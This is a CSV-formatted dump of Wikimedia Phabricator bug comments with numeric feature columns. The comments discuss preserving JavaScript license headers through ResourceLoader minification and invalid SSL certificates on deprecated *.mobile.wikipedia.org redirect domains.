+498378,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Hi, I'm curious, what is the state of things regarding this bug? It's been three years since it was reported.",,,1438106278,,PHID-USER-ccxbypubopjbxwaahew3,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,99,True,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+177604,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Change 153573 abandoned by Tim Starling:
+In minifier, preserve comments that start with /*!
+
+Reason:
+Per Krinkle
+
+https://gerrit.wikimedia.org/r/153573",,,1408091698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,50,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+177597,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Fantastic! Thanks Tim!
+
+Looks like support for (2) in Comment 14 is now handled. As Tim says in his commit log, all we're missing is adding comment information inside ""bang comments"" to the Javascript files that ship with Mediawiki. I think the only reasonable thing to assume is that, unless they are marked oherwise, any Javascript in Mediawiki should be under the same license at Mediawiki itself.
+
+Once this has gone through, I can try to ensure that MediaWiki:Common.js is appropriated labeled.",,,1407875176,,PHID-USER-6iuj5hbfvcdmwmkuzgb6,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,49,True,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,0
+177592,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Change 153573 had a related patch set uploaded by Tim Starling:
+In minifier, preserve comments that start with /*!
+
+https://gerrit.wikimedia.org/r/153573",,,1407838596,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,49,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+177588,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"I'm going to raise this issue again after a talk by Luis Villa and others at Wikimania about problems with missing license information on MediaWiki code. I'm also changing the title to make the nature of this bug more clear and to I'm adding Luis to the CC list.
+
+There are least two workable solutions described here since 2012:
+
+1. Create strings with license information at the head of JavaScript files that are included in Mediawiki. This can be done immediately and will solve the issue.
+
+2. Add bang comments as Erik described in late 2012 and which seems to be a standard used ""important"" comments used in other JavaScript programs. This will involve modifying the minimizer ot make sure that these important comments are preserved.
+
+The benefit of 2 is that we can use that method to also add support for licensing for ""content"" Javascript under the wiki's license (e.g., MediaWiki:Common.j on Wikipedia). But really, either of these would be fine. A LibreJS solution would be great but we don't need to let LibreJS complications hold up an otherwise easy-to-fix bug.",,,1407584963,,PHID-USER-6iuj5hbfvcdmwmkuzgb6,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,49,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+177584,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Also, on wikitech-l, GNU LibreJS and ""Seemingly proprietary Javascript"" http://thread.gmane.org/gmane.science.linguistics.wikipedia.technical/67972
+(Adding link not for drama but for keyword discoverability of this report.)",,,1363945378,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,True,,,-23,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0
+177582,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"About local JS files, created by the users of a given WMF wiki, see also:
+* https://commons.wikimedia.org/wiki/Commons:Village_pump/Archive/2012/08#Does_Commons_only_accept_code_which_can_be_used_for_evil.3F
+* http://www.gossamer-threads.com/lists/wiki/wikitech/290192
+* http://en.wikipedia.org/wiki/WP:Village_pump_(policy)/Archive_98#Proper_licensing_of_gadgets.2C_user_scripts_and_lua_modules",,,1362603735,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+177581,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"It'd be good if we could find a reasonably pragmatic solution to clarify the licensing status of files, including after RL minification. Insert a bang comment based on the site license for files served from the wiki, and ensure we consistently add bang comments to files that are served from MediaWiki itself, and that those comments survive RL minification?",,,1356135597,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-36,True,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+177576,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Instead of a string, we can use a bang comment.
+
+It appears other libraries are following this convention as well, for ""required"" comments.
+
+> /*! jQuery v@1.8.0 jquery.com | jquery.org/license */
+
+(In reply to comment #9)
+> This can be done very concisely, as Tim suggests, with a string at the top of
+> the file that says ""Copyright (c) WHOEVER 2012 - Distributed under the GNU
+> General Public License Version 2 or any later version"" or something like that.
+
+Since a full list of authors is going to be hard to keep track of (major authors are sometimes listed on top of the file). Whenever a file is part of MediaWiki core (e.g. not a third party file with its own license header) we can refer to mediawiki.org/wiki/License for more information on the current license and list of authors. (""COPYING"" and ""CREDITS""  in the repo are linked from there).
+
+> /*! Distributed as part of MediaWiki | mediawiki.org/wiki/License */
+
+As far as I know a link is enough, it doesn't have to contain the license title (let alone the full GPL license text) directly in the header. We do the same for image embedding.",,,1346188399,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,True,,,-53,True,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,1,0,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+177570,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Greetings Krinkle! I have a few responses.
+
+I think it is important to convey the license of the Javascript to visitors of the site. The reason this does not apply to the PHP software is that the PHP is not actually distributed to visiters. Distribution is both a legally meaningful step in terms of copyright, very relevant in terms of the GPL, and also a substantively different thing than just letting someone use your software. When the PHP code is distributed (i.e., when someone downloads the code), we also convey the license.
+
+This can be done very concisely, as Tim suggests, with a string at the top of the file that says ""Copyright (c) WHOEVER 2012 - Distributed under the GNU General Public License Version 2 or any later version"" or something like that. The benefit of the string-approach is that it won't be stripped out with the minifier like a comment would be.
+
+We can follow the same approach for the stuff that is contributed to and served from wikis except, as other have pointed out, the license will have to be whatever the license of the wikis is since this is apparently the license that they were contributed to us under. We can start doing this part on wikis right away.
+
+I just looked through the Javascript in the MW git repository and, basically except for JQuery and test stuff, none has any license information even in a comment header. About half of it does not even have a copyright statement and some like it might have been taken/borrowed from elsewhere but has no indication of the license.",,,1346184552,,PHID-USER-6iuj5hbfvcdmwmkuzgb6,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-53,True,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+177562,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"My $0.02:
+
+It seems like this could be reasonably implemented in ResourceLoader--add in a tag for modules like ""@license GPLv2"" or similar, and when RL detects such a tag, it inserts the proper licensing info into the javascript....then again, maybe we need to require this for each file, else the debug mode would get confusing.
+
+As for compiled (minified) files, I think RL might be able to either A) intelligently group modules into like-licensed chunks (so we distribute the GPLv2 files in one go, then the MIT files, then the GPLv3 files, and so on) or B) Tag each chunk with the proper licensing and be done with it. Adding in a few bytes for newlines and a few hundred bytes per license doesn't seem unreasonable to me.
+
+We may also want to offer a preference and/or config option to turn this on and off. I'm sure server admins might want the option to say no, and I'm sure users might want the same option.
+
+That said, thanks much to Mako for bringing this up, and I hope we can do something about it soon!",,,1346173107,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-53,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0
+177556,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"The license for wiki-contributed content (which is only served through that particular wiki) is not always CC-BY-SA/GFDL. It is whatever is configured.
+
+For Wikimedia wikis this is mostly CC-BY-SA 3.0/GFDL. Though Wikinews has CC-BY 2.5.
+
+And other wikis (since this is a MediaWiki software feature request) outside the Wikimedia Foundation may have even different licenses.
+
+Just making sure we don't hardcode it.
+
+The license string afaik only has to say what this file is licensed as. I don't see any point in making a list of possibilities (e.g. the 1), 2) thing, not sure if you meant that literally). Even more so, doing that isn't even practically possible because we also ship third-party files that have built-in license headers already.
+
+So all we need to do is:
+* Make sure our .js files in the MediaWiki repository have license headers (which we already do for PHP files).
+
+Do we have to include those headers in the package responses to the browser as well? Seems a bit weird to me. Since those requests are not deliberate distributions of those applications (in that the user doesn't ""see"" the code). I mean, we don't send the PHP file headers to the browser either, that code is compiled and the user sees what it outputs. Same for images used in the interface as part of the software. They have license information in the repository when someone downloads the software to use it or modify it.
+
+But when visiting a site that uses the software, users are not shown the licenses of PHP, database, image, audio, video files. So why would it be for javascript files?
+
+Meaning, we can put them in source code (we should definitely do that), but it is okay to strip them as part of the general minification when serving it as a package.
+
+If we do need to include them, we would:
+* Figure out a way to simplify them (e.g. compare http://code.jquery.com/jquery.js to http://code.jquery.com/jquery.min.js)
+* How to deal with separators? Because these javascript application requests are packages of sometimes 100s of different javascript files
+* And at it, they don't just contain javascript files. Also css files and base64 embedded images. The CSS files would also need license headers, and then the base64 embedded images need headers somehow?
+
+I'm not objecting it, if it is required it is required. But I don't think anyone else in the world has even considered doing something crazy like that. So if at all possible, I really think we can keep them out of the production browser service.",,,1346172434,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,True,,,-53,True,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+177552,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Thanks for the quick followup Tim!
+
+If I'm following this right, you're suggesting we should create a string headers that make it clear that the JavaScript license is: (1) GPL (or whatever else) for the static files distributed with MediaWiki and (2) BY-SA/GFDL for the content contributed to MediaWiki is the correct way to go.",,,1346169156,,PHID-USER-6iuj5hbfvcdmwmkuzgb6,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-53,True,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+177548,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"The bug is filed against MediaWiki, but Mark's response was about Wikipedia. Mako's comment suggests that the concern is actually ""pieces of MediaWiki"" -- perhaps static files distributed with MediaWiki that are served in minified form via load.php?
+
+MediaWiki:Common.js is not part of MediaWiki. Distributing it under the GPL would require the consent of its authors. It was contributed to Wikipedia under the usual click-through licensing.
+
+Either way, the minifier will strip ordinary file headers. A string header could be added which wouldn't be stripped, that would be much simpler than implementing ""JavaScript License Web Labels"".",,,1346133748,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-53,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+177544,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Greetings! And thanks to Kete for filing this bug and to Mark for replying and enagaging with it.
+
+This bug is both real, a problem in terms of Wikimedia's stated commitment to free software, and should be very easy to fix. Every user of Wikipedia is being served software, which they are running on their computers, with no license information explaining to them that the software is free.
+
+The arrangement with Common.js and others (see http://en.wikipedia.org/wiki/MediaWiki:Common.js and similar) seems like a bug. It was my understanding that all of the JavaScript should be distributed under the free software license that MediaWiki is. If you download MediaWiki as a tarball, this seems pretty clear. It -- or whatever the situation is -- should be clear to users who download small parts of MediaWiki that happen to be written in JavaScript as part of browsing Wikipedia.
+
+I think the javascript-labels approach would be a simple method to deal with this and to make the situation clear. If that won't work, or if people want help from the licensing compliance expert at the FSF, I'm happy to make the introduction and to invite him to participate in this bug.
+
+I'm looking forward to getting this resolved! Let me know how I can help.",,,1346131839,,PHID-USER-6iuj5hbfvcdmwmkuzgb6,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-53,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+177539,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,*** This bug has been confirmed by popular vote. ***,,,1346131375,,PHID-USER-6iuj5hbfvcdmwmkuzgb6,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-53,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+177535,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"(In reply to comment #0)
+> Your wiki code could use a simple license declaration in the header as
+> described at http://www.gnu.org/philosophy/javascript-trap.html#AppendixA
+
+I think you mean the labeling described here: https://www.gnu.org/licenses/javascript-labels.html.  Since there are multiple licenses covering different JS files on any given page, I'm not sure what is needed.
+
+But, just to be clear, this bug is requesting we follow this suggestion from javascript-labels.html:
+
+   On each page that uses JavaScript, include a link that points to the labels
+   page described above. Mark this link with the attribute rel=""jslicense"", so
+   that automated tools can find it. For example, your final link might look
+   like this:
+
+    <a href=""/about/javascript"" rel=""jslicense"">JavaScript license
+    information</a>
+
+   This link can be small, but it should be clearly visible to people who
+   visit your site.
+
+
+In any case the JS code that is distributed with MediaWiki and served from there is GPL.  For example, the jQuery library (included with MediaWiki) is covered by the GPL -- http://jquery.org/license/.
+
+I believe files like Common.js -- http://en.wikipedia.org/wiki/MediaWiki:Common.js -- are under the CC-BY-SA/GFDL like the rest of the content on wikipedia since that is the license text displayed when editing these files on-wiki.",,,1337391642,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-67,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+177530,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,All of the content served from the WMF cluster is under the Creative Commons Attribution-ShareAlike License.  I'll ask Legal if you've raised any new concerns here.,,,1337184437,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,1,False,,,-67,True,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+38126,*.mobile.wikipedia.org domains are using invalid SSL certificate,"See https://en.mobile.wikipedia.org.
+
+*.mobile.wikipedia.org should be added to domain list or these domain name should be disused.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1334933880,1418225022.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-jgky3imn5cfbt4cweamz,task_description,declined,True,c2,1,False,False,False,-71,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+340368,*.mobile.wikipedia.org domains are using invalid SSL certificate,">>! In T38126#831983, @BBlack wrote:
+> (I should have said above: an alternative to path-based is just to make sure that they're in one of the supported primary domains from our SSL list and that the hostname is only one level deep.  For example, arbcom.nl.wikipedia.org could become arbcom-nl.wikipedia.org)
+
+@BBlack While some may have been missed, I think this was done this last year. Focus was to rid all deep-subdomains except for `*.m.*`. http://arbcom.nl.wikipedia.org, for example, has already been renamed to https://arbcom-nl.wikipedia.org, and http://pa.us.wikimedia.org to https://pa-us.wikimedia.org/.",,,1418224992,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,3,True,,,67,True,1,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,1
+339584,*.mobile.wikipedia.org domains are using invalid SSL certificate,"(I should have said above: an alternative to path-based is just to make sure that they're in one of the supported primary domains from our SSL list and that the hostname is only one level deep.  For example, arbcom.nl.wikipedia.org could become arbcom-nl.wikipedia.org)",,,1418077810,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,3,True,,,66,True,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+339579,*.mobile.wikipedia.org domains are using invalid SSL certificate,"So, just to be technically-explicit, these are the wildcard domains we have valid certs for:
+
+*.m.wikipedia.org
+*.wikipedia.org
+*.m.wikimedia.org
+*.wikimedia.org
+*.m.wiktionary.org
+*.wiktionary.org
+*.m.wikiquote.org
+*.wikiquote.org
+*.m.wikibooks.org
+*.wikibooks.org
+*.m.wikisource.org
+*.wikisource.org
+*.m.wikinews.org
+*.wikinews.org
+*.m.wikiversity.org
+*.wikiversity.org
+*.m.wikidata.org
+*.wikidata.org
+*.m.wikivoyage.org
+*.wikivoyage.org
+*.m.wikimediafoundation.org
+*.wikimediafoundation.org
+*.m.mediawiki.org
+*.mediawiki.org
+*.zero.wikipedia.org
+
+Note that for the purposes of certificate wildcards, the asterisk only covers a single name rather than arbitrarily-deep subdomains, which is why we have separate *.m certs for every domain except zero.  Certificates are costly, which is why we don't buy infinite/random certificates for every domain/subdomain we can dream up.  So yes, in a policy sense, we're not going to have valid SSL certs for those other domains, including the long list of things like typo-redirect domains.
+
+What I'm a little concerned about in all of this, though, is that we need to be sure that we're consistent about which domains are official and which are redirects without SSL support, and we need to be sure that we're not generating or emitting links to the public that reference the the redirect-only domains.  That may sort-of work now, but as we keep moving forward with more-aggressive SSL support (which will probably someday culminate in all traffic being SSL-protected and HSTS), that will become a very bad experience for users who might have to accept mismatched certs to follow a link that ultimately came from us.  This may require rethinking some of these microsite URLs in some cases, to make them path-based rather than hostname-based.  At the very least, we need to be sure that if we are generating links to these hostnames, that the links aren't HTTPS (although even that may become an issue down the road).",,,1418077455,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,3,True,,,66,True,1,0,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+339515,*.mobile.wikipedia.org domains are using invalid SSL certificate,"Afaik operations' policy is to not support SSL certificates for redirect domains. They work fine over HTTP, but HTTPS will yield a warning.
+
+This applies to:
+
+
+* http://wikimediacommons.org https://wikimediacommons.org
+* http://wikipedia.com https://wikipedia.com
+* http://wikimedia.com https://wikimedia.com
+* http://wikijunior.com https://wikijunior.com
+* http://pa.us.wikimedia.org https://pa.us.wikimedia.org
+* http://arbcom.en.wikipedia.org https://arbcom.nl.wikipedia.org
+* http://arbcom.nl.wikipedia.org https://arbcom.nl.wikipedia.org
+* http://noboard.chapters.wikimedia.org https://noboard.chapters.wikimedia.org/
+
+And many more ([[ https://github.com/wikimedia/operations-puppet/blob/deae97622d78b3b1d80fbf81a06a25c810d70eec/modules/mediawiki/files/apache/sites/redirects/redirects.dat | operations-puppet:/apache/sites/redirects.dat ]]).
+
+And thus http://en.mobile.wikipedia.org / https://en.mobile.wikipedia.org as well.",,,1418068877,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,3,True,,,66,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,1
+177666,*.mobile.wikipedia.org domains are using invalid SSL certificate,"(In reply to comment #8)
+> No they still exist as redirects, and are still serving invalid certificates
+> for HTTPS.
+
+What do you think about removing (killing) the redirects?",,,1385360955,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,3,True,,,12,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+177665,*.mobile.wikipedia.org domains are using invalid SSL certificate,"(In reply to comment #7)
+> It seems to me that this bug can be closed as wontfix as the mobile
+> subdomains
+> have been decommissioned.
+
+No they still exist as redirects, and are still serving invalid certificates for HTTPS.",,,1385218341,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1
+177663,*.mobile.wikipedia.org domains are using invalid SSL certificate,It seems to me that this bug can be closed as wontfix as the mobile subdomains have been decommissioned.,,,1385217350,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+177659,*.mobile.wikipedia.org domains are using invalid SSL certificate,"Comment by CT Woo on RT ticket which is closed as rejected:
+""We have *.m.wikimepia.org.
+We do not use mobile.wikipedia.org.""",,,1374776749,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jgky3imn5cfbt4cweamz,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+177654,*.mobile.wikipedia.org domains are using invalid SSL certificate,"(In reply to comment #2)
+> *.mobile.wikipedia.org
+
